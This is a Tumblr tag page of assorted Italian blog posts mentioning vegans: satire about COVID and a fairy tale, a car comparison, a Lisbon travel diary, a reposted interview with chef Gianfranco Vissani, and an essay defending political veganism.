Tumgik
#alla faccia dei vegani
bispensiero · 6 years
Text
Di solito non scrivo o parlo della mia alimentazione e mi faccio i cazzi miei su cosa mangiano gli altri, ma il prossimo che out of the blue mi dice che "i vegani hanno carenze", "non è salutare mangiare solo verdure", "io ero vegana ma ho dovuto smettere perché ero anemica", "c'è una che ha rovinato suo figlio perché in gravidanza non assumeva B12" e altre stronzate lo meno. Ho fatto le analisi del sangue e sono PERFETTE, B12 e ferro compreso. Il colesterolo è ovviamente commovente per quanto è preciso.
A rovinare la commozione ci ha pensato l'uomo con le sue analisi, penso che stia per morire, deve avere BURRO al posto del sangue 😡
9 notes · View notes
der-papero · 3 years
Text
Ho avuto come auto sostitutiva una auto elettrica.
Premessa. Anni fa (non so se l’hanno più rifatto) si tenne una corsa di Formula E all’EUR a Roma, e un tassista esclamò
La Formula E? La Formula 1 per i vegani!
Adesso capisco a pieno quelle parole.
Provo a stilare una differenza tra la mia bestia e questa roba senza sale.
L’accensione.
Elettrico: la accendi. Non accade nulla. Ti chiedi se sia guasta.
La mia: la accendi, fa un casino che si sente fino in fondo alla fila delle case. Infatti, la vicina del numero 11 (la simil-Chastain) passò una volta e mi disse “ma è normale che questa auto faccia tutto quel casino? Non è che ha qualche problema?” e io risposi “ASSOLUTAMENTE NO 😍”
In marcia.
Elettrico: ok l’accelerazione. Ma poi non si sente un cazzo. Sei invisibile, nessuno ti caga. Nessuno si ricorderà di te, e tornerai nella polvere.
La mia: è così incazzata che quando scali si sentono i crack dal motore, la marmitta inizia a sparare, e gli altri avventori autostradali mi sentono da un chilometro lontano, non devo manco segnalare la mia presenza. Gli amatori ti fanno un gesto di saluto militare ed accennano un RESPECT.
Al semaforo.
Elettrico: puoi solo stare fermo. Le persone passano e senti i cazzi loro, in barba alla privacy.
La mia: puoi marcare il territorio facendo incazzare la metà dei cavalli sotto al cofano, giusto per ristabilire l’ordine naturale e incontrovertibile del “animale grande mangia animale piccolo”.
L’ascolto della radio.
Elettrico: gradevole, si sentono tutti gli strumenti, anche il click della punta sul vinile.
La mia: per sentire la voce degli AC/DC devi dare fondo al volume per sovrastare il motore, col risultato che sembra di stare in una acciaieria. Se atterrasse un Boeing 747 sull’autostrada perché impegnato in un atterraggio di emergenza, lo noteresti solo una volta che senti lo schiacciamento.
Giudizio finale inoppugnabile.
Aveva ragione il tassista: l’elettrico potrà anche far bene alla salute, ma non sa di un cazz.
54 notes · View notes
libero-de-mente · 3 years
Text
Cappuccetto Rosso e il lupo mainstream
- Chi è? - Cappuccetto Rosso, che ti porta tampone e lenticchie; apri. - Alza il saliscendi, - gridò la nonna: - io son troppo debole e non posso levarmi. - Oh nonna cos’hai? Ti sei provata la febbre? - Si Cappuccetto Rosso, ho anche la febbre. Mettiti la FFP2 prima di entrare in camera. - Nonna accidenti, per pronunciare FFP2 hai sputato fino in corridoio, anche la tua dentiera è arrivata qui. - Cappuccetto Rosso prima di entrare fatti la scansione per la temperatura corporea, poi mostra il Green Pass sotto il lettore a infrarossi e disinfettati per bene le mani. - Ma che nonna stai dicendo sul serio? Va beh.
Alla fine della procedura di accettazione Cappuccetto Rosso entrò nella stanza della nonna.
- Buon giorno! - ma non ebbe risposta. Allora s'avvicinò al letto e scostò le cortine: la nonna era coricata, con la cuffia abbassata sulla faccia e aveva un aspetto strano, mentre Cappuccetto Rosso pensava: “non capisco se mia nonna è pure sorda o stronza a non rispondermi”.
- Oh, nonna, che orecchie grosse! - Per sentire meglio i telegiornali che ci danno i numeri della pandemia, i numeri dei contagi, i numeri dei decessi, i numeri dei milioni di tamponi e i numeri delle millemila vaccinazi0ni al giorno. - Oh, nonna, che occhi grossi! - Sono gonfi vero? Mi si sono gonfiati a leggere la libertà di pensiero espressa dal popolo sui social. Sai a volte lacrimo anche sangue, dovresti vedere quanti congiuntivi omessi. - Oh, nonna, che grosse mani! - Per reggermi i c0gli0ni che non ho, altrimenti ci inciampo talmente sono scesi a terra. - Ma, nonna, che bocca spaventosa! - A Cappuce’ mo però stai a rompe poco poco li cojoni, nun te ce mette pure te. - Nonna che naso grande hai! - Sono i tamp0ni, me li stanno facendo di tutte le misure ogni ventiquattr’ore.
E subito il lupo balzò dal letto e si mostrò per quello che era davvero. Il lupo appunto.
- Ah, ma sei tu lupo, mi stavo spaventando. - Come sarebbe a dire Cappuccetto Rosso, non ti spavento? Chi credevi che fossi? - Ma no guarda per un attimo - risatina d’imbarazzo - per un attimo ho pensato che tu fossi Draghi. - Draghi? - sbottò il lupo. - Si Draghi o Speranza. - No aspe’ Cappucce’, va bene tutto ma confondermi co’ quei due anche no. - Lupo o lupo, ti sei mangiato la nonna? - Ma che scherzi? Ma per chi mi hai preso? Oggi i lupi sono vegani, mangiamo tofu e bacche di bosco. Basta con la carne umana, con tutto quello che vi iniettano chi si fida a mangiarvi? Mio cugino lupo nero ha mangiato una famiglia in campeggio e gli sono venute un sacco di trombosi, dicono che non c’è correlazione... ma io non ci credo. - Oh lupo! - con voce decisa - Mica sarai un N0 Vax?!? - No che non lo sono, ma permetti che dopo che ho visto dei prezzemolini televisivi in camice bianco cantare la canzone di Natale “Si, si vax”, dei dubbi mi vengano? - Beh, in effetti non posso darti torto. Ma allora la nonna dov’è? - La nonna è andata a ordinare un divano nuovo, prima che finisca la promozione dei saldi, sulle ventordicimila promozioni che come una catena di Sant’Antonio non finiscono mai. Però prima di andare mi ha chiesto di tenerle in caldo il letto. In cambio mi portava tanto sushi. Adoro.
Nel frattempo fece irruzione il cacciatore brandendo una fionda - Fermi tutti o sparo! - urlò. - Con la fionda? - chiese il lupo perplesso. - Eccerto - rispose Cappuccetto Rosso - la caccia è crudele, le armi vanno abolite, dobbiamo salvare il pianeta. - Ma Cappuccetto Rosso - chiese il cacciatore - levami una curiosità, perché ti chiamano Cappuccetto Rosso se in realtà indossi una mantellina con cappuccio gialla? - Sai che non lo so? Credo che qualche bontempone mi abbia additata come comunista, altrimenti non mi spiego. Che poi manco mi chiamo Cappuccetto Rosso io. - E come ti chiami - chiese il lupo. - Io mi chiamo Greta.
Il lupo e il cacciatore si guardarono, secondi che sembravano un’eternità. Gocce di sudore scendevano dalla fronte di entrambi. Sembravano terrorizzati.
- Senti lupo - disse il cacciatore rompendo un silenzio imbarazzante - vuoi venire con me? Ho saputo che a pochi minuti di cammino da qui, c’è Alberto Angela. Stanno registrando una puntata di Stanotte nel bosco incantato. - Alberto Angela? - grido il lupo scodinzolando - Sono un suo fan, me lo mangerei vivo! - Alberto Angela è patrimonio dell’umanità - gridò Cappuccetto Rosso (o Greta) - nun t’azzarda’ a tocallo. Te gonfio come ‘na zampogna se ce provi! - Mazza aò quanto sei burina - rispose il lupo - era pe’ dire, ve l’ho detto sono vegano ora.
Così il lupo e il cacciatore si misero sulle tracce del famoso divulgatore, mentre Cappuccett... ehm, Greta si mise seduta fuori dalla casa della nonna aspettandola. Con un cartello al collo con scritto: “SKOJONEN FÖR KITTEMUORTEN“.
E vissero felici e contagiati.
Fine.
7 notes · View notes
vefa321 · 5 years
Text
Si può dare di più, senza essere eroi...?
Mi chiedo spesso, se si può scrivere di tutto, di ogni cosa che ci colpisce, ci tocca, ci ferisce, ci faccia gioire o piangere.
Personalmente credo di sì, ognuno di noi ha intrisica una buona dose di sensibilità, ovviamente con modulazione e variazione di intensità, insomma quel poco e quel tanto che ci rende più o meno Umano.
A volte, si riesce ad esprimere con una finta leggerezza argomenti dal peso più che rilevante, altre volte, malgrado il supporto di un immagine le parole rimangono nude e crude, e non lasciano spazio alla fantasia.
Forse è giusto così, per quante parole si possano adoperare, usare, applicare ad un concetto, l'idea di base non viene distorta, con più sensi e doppi sensi, solo rafforzata.
Nello scrivere, spesso ci si mette più il cuore che la faccia, ciò non fa di nessuno, una maschera nascosta, semplicemente un narratore di tante storie personali e non.
Oggi, con l'avvento dei Blog, è forse risorta la scrittura in quanta espressione di disagio, dissenso e si anche di diletto.
Perché si scrive in primis per piacere, per necessità privata, per sé stessi.
Anche se spesso, molto spesso, scrivo cavolate, spero solo non siano cavoli troppo amari, ma scrivere solo di chi broccola o non si fa i cavoli suoi, non fa di nessuno di noi dei Vegani della tastiera, perciò rimango Omnivora nello scrivere di tutto, con rispetto per i gusti e le varie intolleranze altrui.
" V'è un solo eroismo al mondo, vedere il mondo ed amarlo com'è..."
@vefa321
21 notes · View notes
hoilcollobloggato · 4 years
Photo
Tumblr media
la mia vita al tempo del COVID-19 (giorno 6)
Wolfgang Amadeus Mozart in una lettera del 14 Febbraio 1778, indirizzata al padre, riferendosi al flauto, scrive “...divento abbastanza impotente quando sono obbligato a scrivere per uno strumento che detesto”.
Solo ieri il Governatore dell’Emilia Romagna, per cercare di limitare gli assembramenti, metteva mano all’ultimo DPCR del 6 novembre 2020, recante misure urgenti per fronteggiare l'emergenza epidemiologica, ai fini del contenimento della diffusione del virus Covid -19, pubblicando una nuova ordinanza in attesa di ulteriori indicazioni dal CTSN Comitato Tecnico Scientifico Nazionale basate sul monitoraggio settimanale della curva epidemiologica, fornito dell’ MDS Ministero della Salute che potrebbe cambiare la collocazione dell' Emilia-Romagna dalla zona gialla alla zona arancione: negozi chiusi domenica, stop a ginnastica, canto e flauto etc... Questa mattina all’MD, una tizia con i capelli viola e la faccia piena di piercings che le deformavano la mascherina di Peppa Pig, distribuiva opuscoli per sensibilizzare l’opinione pubblica sulla decisione del governo del बहार Biar, uno stato dell’India Orientale, di spostare le buche degli asceti - immersi nella materia fecale fino al collo - in una zona più periferica rispetto all’attuale - per dar spazio ad un nuovo Pitch (campo da cricket), con annesso centro commerciale e cinema multisala. Un pensionato che aveva appena acquistato una confezione di fette biscottate integrali e un tocco di pecorino sardo DOP, con un gesto sgarbato degli arti superiori e della testa, che rivelava intenzioni estreme e manesche, ha malamente allontanato la giovane dicendole: Con tutti i problemi che abbiamo con ‘sto COVIS, dobbiamo preoccuparci degli indiani...!!!? Si trattava di uno dei tanti cittadini circuito da quella Destra Italiana che nega l'esistenza del Covid-19 e contemporaneamente fomenta un crescente è preoccupante clima d'odio verso gli altri. I diversi.
Io, che la settimana scorsa ho donato 3400 euro al GVO Gruppo Vegano Oltranzista, che protesta contro l’uso della benzina poiché ricavata dai resti fossili dei dinosauri, l’ho preso l’opuscolo! Le sorti degli immersi nella materia fecale fino al collo e di tutti i diversi, mi stanno a cuore. Eccome! Sai io ho bisogno di coerenza per vivere, e per essere consapevole della mia esistenza, penso che nulla accade fuori da un contesto preciso, senza seguire uno schema riconoscibile. Tutto è pura coerenza. Non esistono eventi isolati e sconnessi che si manifestarono per poi essere inghiottiti da un vuoto nero opaco, e il loro senso relativo, il loro significato, viene poi annullato da eoni di silenzio entropico estranei tra loro; tutto è connesso, e già scritto.
Non fraintendermi non credo che esista un Dio, un’entità superiore maestra nel bricolage, che ha creato, responsabilmente o meno tutto, e tutto governa, ma non credo nemmeno al caso. Credo nella coerenza dell’interconnessione logica, non per forza cronologica tra gli eventi. Provo a portarti qualche esempio della mia fede... Il mitico disc jockey David Mancuso noto anche come Dave Mancuso, già pioniere della disco music e dichiarato ispiratore di Dj del calibro di Frankie Knuckles, Larry Levan e Nicky Siano, dopo una delle sue serate al Club Loft di New york, mentre era collassato sulla poltrona del suo camerino, fisso a smaltire gli effetti di un cubetto di zucchero imbevuto di soluzione lisergica C20H25N3O, volgarmente chiamata LSD, senza pensarci, si era messo a picchiettare con il pennarello indelebile, con il quale era solito firmare le tette delle groupie, sulle mattonelle del pavimento. Be' quel ticchettio, quella casuale cadenza invariata sarebbe poi diventata la base della metrica in 4/4 con cassa in battuta su ogni quarto, arricchita talvolta da temi ritmici più elaborati, per la maggior parte scanditi dal metronomo a 128 BPM battiti per minuto, della musica house. Questo è un chiaro caso, che per quanto mi riguarda, dimostra l’assoluta assenza del Caso, ma avvalora la mia tesi secondo cui tutto è coerentemente derivato da un insieme di eventi che, non a caso appunto, finiscono con il generare un fatto. Non dirmi che credi alla storiella secondo cui la malattia respiratoria acuta da SARS-CoV-2, o malattia da coronavirus 2019, detta anche morbo da coronavirus 2019, per gli amici Covid-19, si è originata dal piscio infetto di un pipistrello cinese circa un anno fa…?!!! Be’ lungi da me impedire e ledere in qualsivoglia modo la tua libertà di pensare e immaginare quello che vuoi, ma giusto per coerenza ti riporto quanto segue: il virus secondo ricercatori del Max Planck Institute e del Karolinska Institutet era già presente ai tempi dell' uomo di Neanderthal, infatti, essi hanno trovato un segmento genomico di ~ 50 kb ereditato dai Neanderthal che si manifesta con una frequenza di ~ 30% in Asia meridionale e ~ 8% in Europa. Il virus è stato trovato ben prima dell'epidemia di Covid-19 in diverse acque reflue di diversi sistemi fognari del mondo. Ciò farebbe pensare che le condizioni delle acque reflue dei mattatoi siano l'ambiente idoneo per il mantenimento in "dormienza" del virus in virtù della temperatura vicino a 4 °C, ideale per la sopravvivenza del virus. Ad ulteriore sostegno di questa ipotesi il caso dei malati di Covid-19 nelle Isole Falkland, un caso per certi versi simile a quello dei malati di "epidemia di spagnola" delle isole Samoa che come i primi non avrebbero avuto contatti con focolai esterni.
Bene, mentre il giorno 6 volge al termine, proprio mentre sto scrivendo, giunge la notizia: è ufficiale! L’ Emilia Romagna passa in zona arancione. No assembramenti, no bar e ristoranti, no struscio domenicale, no centri commerciali, cinema, teatri, stop palestre e ginnastica, no spostamenti tra un comune e l'altro. Stop alla pratica del petting e del bacio alla francese, anche definito con il verbo intransitivo: limonare. Tempi duri e futuro sempre più incerto per i pensionati non vegani della Destra Italiana, che amano cantare e suonare il flauto immersi nella materia fecale fino al collo. Indossare sempre la mascherina, anche durante la notte e disinfettarsi sempre le mani, soprattutto se si hanno avuto contatti con urina di pipistrello.
Fine giorno6
0 notes
giancarlonicoli · 5 years
Link
23 NOV 2019 14:55NON TUTTI I VISSANI VENGONO PER CUOCERE - “AVREI DOVUTO EVITARE L'ATTACCO ALLA GUIDA MICHELIN PERÒ LA GRANDE RISTORAZIONE È IN UN MARE DI MERDA, SIAMO TUTTI SULL’ORLO DELLA CHIUSURA, CI SONO COSTI INUMANI E IL MADE IN ITALY E’ SOTTO ATTACCO PERCHE’ TRUMP FA IL COGLIONE” – “BOTTURA? DI CHE CAZZO STIAMO PARLANDO? È UNO CHE NON SA NEANCHE COME SI CHIAMA. RUBIO? NON LO CONOSCO" – "RENZI HA SBAGLIATO TUTTO, ZINGARETTI MESSO MALE, MI PIACE SALVINI, D’ALEMA FU IL PRIMO A VOLER PARLARE CON LA LEGA PERCHE’…”
Edoardo Dallari per “la Verità”
Chissene importa della stella persa, oggi si festeggia. Gianfranco Vissani, chef appena «defraudato» dall' illustre Guida Michelin, spegne le sue prime 68 candeline senza rancore, ma con qualche spunto di riflessione in più. Lo ricordano sempre per il risotto cucinato con Massimo D' Alema, ma lui di cose ne ha fatte (e viste) tante. E ora la sinistra, un po' come la Michelin, la vede chiusa in un santuario che ha in spregio «il popolino» e si dimentica dei veri affamati. Di cibo e di lavoro.
Chef Vissani, come si sente a 68 anni compiuti?
«Non si dicono mai gli anni! Oggi tutti cercano di nasconderli, però ci siamo. Sto bene, la mia vita la sto vivendo, tra amori e lavoro, con grandi soddisfazioni e risultati».
Si sente davvero il Che Guevara della cucina italiana?
«Mi hanno definito cosi, come una volta c' era il "divino" Gualtiero Marchesi. Che Guevara era un idealista, uno che credeva in quello che faceva, che ha fatto la rivoluzione perché vedeva oppressione nel suo popolo.
Tutti questi leader maximi prendono il sopravvento quando vedono la gente dalla loro parte. Non dico che avremmo bisogno di un' elezione bulgara, ma in questa Italia dove ci sono politici che non sono politici, e dove il governo non governa perché si è trasformato in ufficio delle tasse, un Che Guevara può capitare.
Ci stanno trasformando in numeri. I ragazzi che cercano lavoro mi chiedono: quanto mi dai?, io rispondo: ma tu che cosa sai fare? Non sono pronti».
Come mai, dopo 20 anni, le hanno tolto la sua stella?
«Si vede che non eravamo più all' altezza».
Ha detto che la Guida Michelin è anti italiana.
«Ho usato questa espressione, ma dal profondo della mia esperienza, 50 anni, dovevo evitare. Ero uscito da un ricovero ospedaliero di otto giorni e mi è venuta spontanea. Avrei dovuto contare fino a dieci. A Casa Vissani abbiamo sempre fatto le cose per bene, ma a qualcuno non va a genio».
La guida sbaglia?
«Tutti hanno le loro faide, le loro correnti. Come si fa? Per me ci vogliono 15, 20 giornalisti - ma giornalisti, non proprietari di aziende - che vanno nei ristoranti, mangiano e votano. Se io sono il direttore di una guida ho i miei interessi Questo c' è sempre stato. Però la grande ristorazione è in un mare di merda, se non arriva qualcuno a darci una mano possiamo chiudere tutto perché ci sono costi inumani».
Aldo Grasso sul Corriere della Sera l' ha accusata di risentimento, di non sapersi leccare le ferite e di bramare solo il successo.
«Aldo Grasso non è mai stato da me in Umbria. Lui parla per sentito dire. È piemontese e i piemontesi sono falsi e cortesi, no? Perché non ricorda quando mangiava al mio ristorante all' Hotel Bellevue di Cortina d' Ampezzo e diceva che era tutto ottimo? Facile picchiare su un animale ferito».
Lei si sente ancora il numero uno della cucina italiana?
«Io sono stato numero uno? Faccio quello che posso, mi diverto, non cucino con l' azoto e a basse temperature. In quel modo non si sa neanche quello che si mangia. La cucina italiana è un' altra cosa. Tutti cercano il prodotto vero. Vogliamo strapazzare il mondo, dire che è tutto uguale, che non esiste più niente di valore? Basta».
Il made in Italy è sotto attacco?
«Sì, perché Donald Trump fa il coglione con i dazi. Ma il problema è strutturale. Una volta ero con altri chef attorno a un tavolo con l' allora ministro dell' agricoltura Maurizio Martina, e con il senno di poi ho sbagliato ad andarci perché quello è un radical chic puro.
Gli ho detto: guardi che il prodotto italiano fatica molto. Lui mi ha risposto: ma va, facciamo parlare Massimo Bottura per piacere (chef pluristellato, noto per la cucina solidale, ndr). A quel punto mi sono alzato e me ne sono andato via. Bottura? Ma di che cazzo stiamo parlando? È uno che non sa neanche come si chiama. È tutto combinato, alcuni possono parlare e altri no. È una vergogna, molti hanno paura, ma non io. Sarò penalizzato, ma chissene importa».
Negli ultimi mesi fa molto parlare chef Rubio, che l' ha attaccata dicendo di sapere cose su di lei che «quando fa lo splendido in televisione non racconta».
«Io non conosco questo Rubio, né mi interessa. Ancora lo chiamate chef? Può dire quello che vuole, ma l' unica cosa che sa fare è attaccare la gente per farsi popolarità. Recita la parte dell' anti Salvini».
Le piace il popolo delle sardine?
«Ma che cosa vogliono? Matteo è una bravissima persona. Se la sinistra, la destra o il centro esistono ancora e riescono a fare qualcosa lo devono a lui. Ha smosso le acque. In generale, però, è ora di renderci conto che quei pochi che stanno in Parlamento non possono dirigere un Paese come l' Italia. Benito Mussolini diceva che l' Italia è ingestibile.
Mio padre mi ricordava che il popolo è quello che porta l' acqua con le orecchie. Sono i lavori umili che fanno andare avanti il Paese. Ormai è tutto difficile. Arrivano qui i romeni, i bulgari, la gente dell' Est? Allora formiamo delle scuole, istruiamoli. Magari delle scuole di bon ton»
Che cosa le piace di più di Salvini?
«Tutto, ma a tutti noi piace Salvini. Bisogna ripartire dall' anno zero, bisogna azzerare i conti di tutta l' Europa. Non è l' Italia ad avere il deficit e il debito pubblico più alto. La Spagna, la Germania, la Francia, l' Inghilterra? Mettete il cash nelle tasche degli italiani».
E D' Alema come l' ha presa questa sua simpatia per il leader della Lega?
«Io non ho mai detto di essere di sinistra. Finché c' è stato Massimo D' Alema ho cercato di stargli dietro. Ricordo però che lui è stato il primo a voler parlare con la Lega perché capiva che c' era un epicentro che si stava spostando verso le campagne e le periferie. Cara sinistra, fai come Matteo, non chiuderti in te stessa, vai nelle stalle, sui territori, chiedi alla gente quello di cui ha bisogno».
Il Pd si sta riprendendo?
«Nicola Zingaretti sta veramente messo male. Io spero per lui che ce la faccia, ma non lo so, la vedo molto dura. Il Pd deve raccogliere voti se vuole essere al comando, non dividersi. Quell' altro pariolino che se n' è andato Carlo Calenda, è sempre incazzato. In politica ci vuole stabilità, ma ce li ricordiamo i vari Andreotti, Fanfani, Forlani, Cossiga?».
E Matteo Renzi ha fatto bene a fondare Italia viva?
«Ma è vero che si allea con Silvio Berlusconi? Mi sembrerebbe assurdo. Renzi ha sbagliato tutto. Sta creando le frattaglie della sinistra. Vuole prendere il 4%? E poi?».
Contro vegani, astemi e puritani Jack Nicholson ha detto: «Io credo nella carne rossa, nel vino e nelle donne». In che cosa crede lei?
«In tutt' e tre le cose. Nel 1944, in Inghilterra, sei vegetariani si sono dissociati e hanno creato il veganesimo. Non li sopporto, sono una setta, mi danno fastidio. E poi ultimamente hanno perso ancora più punti. Adesso vogliono far fare le loro diete anche ai figli, che però hanno bisogno di altri alimenti. I bambini così stanno male, è una cosa pesante da accettare. Ma poi, vegani? I vegetariani posso capirli, anche Umberto Veronesi lo era, anche Pitagora. Non mangiano carne, anche se poi mangiano il pesce».
Come procede il suo anno sabbatico lontano dalle donne e dal sesso?
«Benissimo. Ho rispettato tutte le previsioni».
E quindi come festeggia questo compleanno?
«Con gli amici a Baschi, a Casa Vissani. Gettiamo le basi per tutto l' anno successivo. Mi piace essere sempre in continuo movimento. Morta una stella... se ne fa un' altra».
0 notes
uds · 7 years
Text
l’ennesimo post che pubblico senza rileggere, che poi mi ricapita sotto gli occhi e mi ammazzo di refusi e ripetizioni perché già non sono in grado di scrivere decentemente, figuriamoci al primo colpo.
-in realtà, come è ovvio, lisbona è una grande città abbastanza omologata a tutte le altre grandi città al mondo, per cui in centro la gran parte dei negozi presenti è di catene internazionali, da h&m a zara a tezenis a tutto quello che volete. per dire, gli spiedini in mutande di intimissimi ci sono anche qua, state tranquilli. -a tal proposito, in una delle piazze principali della città (rossio, per la precisione), ci sono più o meno agli angoli opposti un mcdonalds e un burger king. esattamente di fronte al mcdonalds c'è una fermata del bus. sulla pensilina burger king ha fatto mettere una pubblicità con scritto più o meno “vi siete persi per soli cinquanta metri il miglior fast food della piazza”, e una freccia che indica il lato opposto di rossio. l'ho trovata una roba di una scaltrezza meravigliosa. -in portogallo l'acqua in bottiglia è amara. ne ho provate quattro marche diverse, non ce n'è una che non lasci un chiaro retrogusto lievemente sgradevole. poi te credo che quando prendono gli strumenti musicali in mano quello che esce è il fado. -ringrazio l'abolizione dei costi aggiuntivi dovuti al roaming. questo mi ha concesso di utilizzare la mia offerta internet sul cellulare per aprire tumblr in luoghi pubblici e affollati, imbarazzandomi tantissimo per il profluvio di genitali in posizioni acrobatiche che apparivano sullo schermo. il che è normale, ma vuoi mettere farlo a costo zero di fronte a folle internazionali? -lisbona città ha comunque un sacco di robe fighissime da vedere, che la rendono un gioiellino. se ne posso consigliare tre, tra le tante: belèm, con particolare plauso al museo berardo di arte contemporanea (non sono un esperto di arte moderna, non ne so niente, ma mi piace molto vedere opere con un'idea forte che riesco a capire, o di cui mi vengono forniti gli strumenti di decodifica -per dire, quando un mio amico mi ha spiegato rotkho ne sono rimasto fulminato- e lì è pieno di pezzi del genere), il convento do carmo (una chiesa il cui tetto è caduto nel 1755 a seguito di un terremoto, e che è rimasta una sorta di museo a cielo aperto, con colonne e volte che terminano direttamente nel cielo; l'impatto è notevole, e richiama a qualcosa di più alto in modo molto forte, per quanto casuale) e il lungo fiume da piazza commercio a fin dove volete in direzione belém. -uno dei motivi del viaggio era partecipare a una delle giornate del festival nos alive, che a una line up interessante sommava la presenza del mio artista preferito in assoluto, che non avevo mai visto dal vivo in quanto ha la simpaticissima abitudine di fare tour europei in cui la data più vicina all'italia di norma è dalle parti del circolo polare artico. ecco, non ho mai visto un festival con una organizzazione così perfetta. sicurezza ovunque, un posto enorme, quattro palchi diversi (due di musica dal vivo, uno per i dj set, uno per i comici) più una venue apposta per gli artisti di fado, stand mangerecci a prezzi più che onesti, addetti che giravano tra il pubblico a distrbuire gadget del festival o degli sponsor, spazi adeguati, negozi di ogni tipo. l'unica cosa che mi aveva fatto storcere il naso (i concerti delle band che volevo vedere che si sovrapponevano) in realtà si è rivelato un plus non da poco, per chi come me era interessato soprattutto a un artista in particolare ma non si crucciava troppo di perdere qualche canzone dei set degli altri gruppi presenti. i set con inizio sovrapposto alla fine di altri consentivano di non avere mai le 55.000 persone presenti tutte concentrate davanti allo stesso palco, e non essendoci praticamente mai stato un momento di pausa totale la coda per i bagni non è quasi mai stata improponibile. poi uno legge come è andata con i radiohead in italia e si fa due domande (però mettere uno dei gruppi che mi sarebbero interessati alle 02.55 di mattina è una roba fuori dal mondo, e infatti il vecchietto presente in me ha trionfato tipo due ore e mezzo prima; sarà per la prossima, ragazzi). -che poi, c'è stato un momento in cui ero sotto il palco, accanto a me la ragazza che amo, davanti a noi la persona a cui voglio più bene tra tutte quelle che non conosco -e che ho aspettato letteralmente lustri per vedere dal vivo- che cantava la nostra canzone. vivere a volte è una roba veramente parecchio più grande di quanto sarebbe lecito aspettarsi.
46 notes · View notes
goodbearblind · 7 years
Link
So bene che dal mio piccolo, anzi piccolissimo mondo, ossia di coloro che mi conoscono, ma anche di chi non mi conosce personalmente, contribuirò con queste due righe a rendere noto l'articolo di Matteo Lenardon “Perché non c'è nulla di etico nella vita di un vegano”. Però qualcosa da dire ce l'ho anch'io, inoltre, pur se qualcuno ancora non abbia ancora letto quell'articolo, a dire il vero poco entusiasmante, non mi spaventa l'idea che lo faccia: ho argomenti ben strutturati per sostenere a viso aperto il confronto. Mentre leggevo l'articolo pensavo: “Ancora? Cioè, veramente ancora con sta storia?”, con le palpebre mezze chiuse e i muscoli lasciati affondare pesantemente sul divano. E sì, perché l'articolo di Lenardon tratta argomenti triti e ritriti, sentiti migliaia di volte, e migliaia di volte sputtanati. Insomma, per farla breve, l'autore dell'articolo sostiene che la persona vegana, sebbene si dichiari etica, in realtà non lo è perché si nutre di cibi che sfruttano popoli umani e territori interi. Fa dunque l'esempio della quinoa del Perù e della Bolivia, degli anacardi del Vietnam, della deforestazione a causa della produzione degli avocado. Sì, appunto, ancora con sta storia! Ora, tralasciando tutta la questione di sfruttare animali senzienti e dell'eticità di tale pratica, partiamo da un concetto base: il veganismo nasce come idea politico-sociale contro lo sfruttamento degli abitanti della Terra, tutti, indistintamente se essi siano umani o non umani, e della Terra stessa. Che poi spesso venga preso come pretesto per radical-chic modaioli che usano la parola vegan accostato all'aperitivo in centro per l'apertura della nuova Fitness Gym con sconti straordinari per i primi cento iscritti è un'altra cosa. Basti pensare che ci sono capitalisti che si definiscono anarchici, oppure cacciatori che si definiscono ambientalisti o tanti piccoli Salvini democratici. Ebbene, Lenardon ha preso proprio gli avventori dell'aperitivo in centro per parlare anche degli attivisti vegan che quotidianamente si battono per l'eliminazione dello sfruttamento, di tutto lo sfruttamento, finendo per sproloquiare di cose che non conosce affatto (è evidente) violentando e diffamando un'idea politica, quella del veganismo politico, che si batte proprio contro quello sfruttamento che lui denuncia nel suo articolo. È incredibile! Capisco bene che la denigrazione del mondo vegan per un leone da tastiera è molto più eccitante che dieci minuti di youporn: porta facili consensi, spesso istanti di pura notorietà e strappa anche delle “stramazzanti” risate di gusto, però dai, così è chiaro che vuoi gridare al mondo: “Sto scrivendo di cose che non conosco”. Come dicevo il veganismo nasce da un'idea politica molto forte, che contrasta lo sfruttamento: possiamo dire che il veganismo nasce dunque come opposizione allo sfruttamento in generale e, quindi, anche contro lo sfruttamento animale. In fondo, perché escluderlo? È in sostanza un'idea liberazionista, libertaria, egualitaria e aspecista, tanto da parlare di veganarchismo. Essere veganarchici significa essere antirazzisti, antifascisti, antisessisti, antispecisti e, guarda un po', anticapitalisti. E Lenardon, non essendo cosciente di cosa in realtà sia il veganismo politico, pone sullo stesso piano chi, seppur decide di non mangiare animali o i loro prodotti, lo fa per fini salutistici ed egoistici (moltissimi di coloro che fanno questa scelta non badano se il sapone che usano sia stato testato su animali o meno, oppure indossano pelle e/o pellicce), e chi invece è spinto per idee politiche e sociali anticapitalistiche. Ed è proprio questo l'errore. Infatti, l'idea del veganismo politico è quella secondo cui la lotta per la liberazione totale può essere tale solo se include anche la liberazione animale e della Terra, attraverso pratiche quotidiane anti-autoritarie; è un'estensione della vecchia idea di anticapitalismo e, dunque, di lotta anche contro quegli sfruttamenti che lui prende a modello per cercare di screditare il veganismo. Voglio dire, quello sfruttamento a cui si fa riferimento nell'articolo non c'è perché ci sono i vegani, ma perché c'è un sistema economico liberista e capitalistico che preesiste al veganismo e a cui quest'ultimo si oppone tenacemente. Secondo la logica di Lenardon, è come se io scrivessi un articolo chiamato “perché non c'è nulla di etico nella vita di chi prende l'autobus” parlando però dell'inquinamento cittadino prodotto dai mezzi a motore. Per questo, la persona veganarchica, in quanto anticapitalista, non comprerà mai la quinoa del Perù o della Bolivia, non comprerà mai la soia dell'Amazzonia, non comprerà mai gli anacardi del Vietnam, ma si nutrirà dei prodotti dei produttori locali, li comprerà, laddove non può coltivarli, nei marcatini locali, o più in generale favorendo solo quelle produzioni non intensive, estensive e distruttive - senza dimenticare inoltre che la quinoa è prodotta anche in Italia. Basti pensare a tutta l'opposizione degli stessi attivisti politici vegan contro il marchio VeganOk, oppure che gli organizzatori e le organizzatrici della Festa Antispecista 2017 sono stati diffidati da Michela Brambilla perché durante la tre giorni c'era una conferenza dal titolo “Michela Vittoria Brambilla e la mercificazione del veganismo”. Ma queste critiche e opposizioni alla merificazione del veganismo, non solo ad opera di Brambilla e di tutti i singoli che appoggiano quell'idea di veganismo, ma anche e soprattutto delle multinazionali (ad esempio anche la Granarolo, che ha fatto dello sfruttamento degli animali la sua ricchezza, commercializza lo yougurt 100% vegetale!) che sfruttano e strumentalizzano un'idea di libertà per fini economici e finanziari, sono già più che attive all'interno del movimento vegan stesso, e di certo non necessitano di insegnamenti da parte di Lenardon & co.
ANTEFATTO
RISPOSTA ALL’ANTEFATTO 1
RISPOSTA ALL’ANTEFATTO 2
1 note · View note
doppisensi · 7 years
Note
Ma quindi sei vegana? Perché non vai a mangiare due fili d'erba e ti togli dai coglioni?
Questa risposta si articolerà in due parti.
